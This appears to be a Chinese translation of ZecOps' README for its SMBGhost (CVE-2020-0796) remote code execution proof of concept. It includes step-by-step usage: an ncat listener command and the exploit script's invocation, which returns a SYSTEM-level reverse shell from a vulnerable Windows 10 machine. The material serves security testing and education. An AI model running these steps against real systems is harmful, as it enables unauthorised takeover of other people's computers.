(c) 2020 ZecOps, Inc. - https://www.zecops.com - 发现攻击者的错误
CVE-2020-0796 / "SMBGhost" 的远程代码执行概念验证
预期结果:返回系统级权限的反向 Shell。
仅限在企业环境中用于教育和测试。
ZecOps 对此代码不承担任何责任,使用风险自负。
如果您对用于服务器、终端和移动设备的无代理 DFIR 工具感兴趣,以便自动检测 SMBGhost 和其他类型的攻击,请联系 [email protected]。
确保目标计算机上已安装 Python 和 ncat。
在目标计算机上运行 calc_target_offsets.bat,并根据脚本输出调整 SMBleedingGhost.py 文件顶部的偏移量(另请参阅下面的说明)。
使用以下命令行参数运行 ncat:
ncat -lvp <port>
其中 <port> 是 ncat 将监听的端口号。
使用以下命令行参数运行 SMBleedingGhost.py:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
其中 <target_ip> 是目标易受攻击计算机的 IP 地址。<reverse_shell_ip> 和 <reverse_shell_port> 是 ncat 监听的 IP 地址和端口号。
如果一切顺利,ncat 将显示一个提供目标计算机系统访问权限的 Shell。
注意: 您可能会疑惑为什么需要在目标计算机上运行 calc_target_offsets.bat 脚本,这难道不违背远程代码执行“远程”的初衷吗?这些偏移量并非随机,且在同一 Windows 版本的所有实例上均相同。通过检测目标 Windows 版本并自动调整偏移量,或者完全摆脱对偏移量的依赖,可以使攻击更具通用性。但这只是一个概念验证,我们选择了更简单的方法。我们也认为 POC 不具备通用性是一件好事,因为它不适合除测试和教育之外的其他用途。

Windows 10 版本 1903 和 1909 受影响。由于 Windows 中的空解引用错误(在 KB4512941 中修复),未打补丁的 Windows 10 1903 版本不受支持。
由于利用方式的特性,该 POC 在具有单个逻辑处理器的计算机(或虚拟机)上运行效果最佳。对于在 VirtualBox 中运行且具有多个逻辑处理器的目标,也应是支持的,但在这种情况下 POC 的可靠性较差。其他目标可能不受支持。详情请参阅下方的技术文章。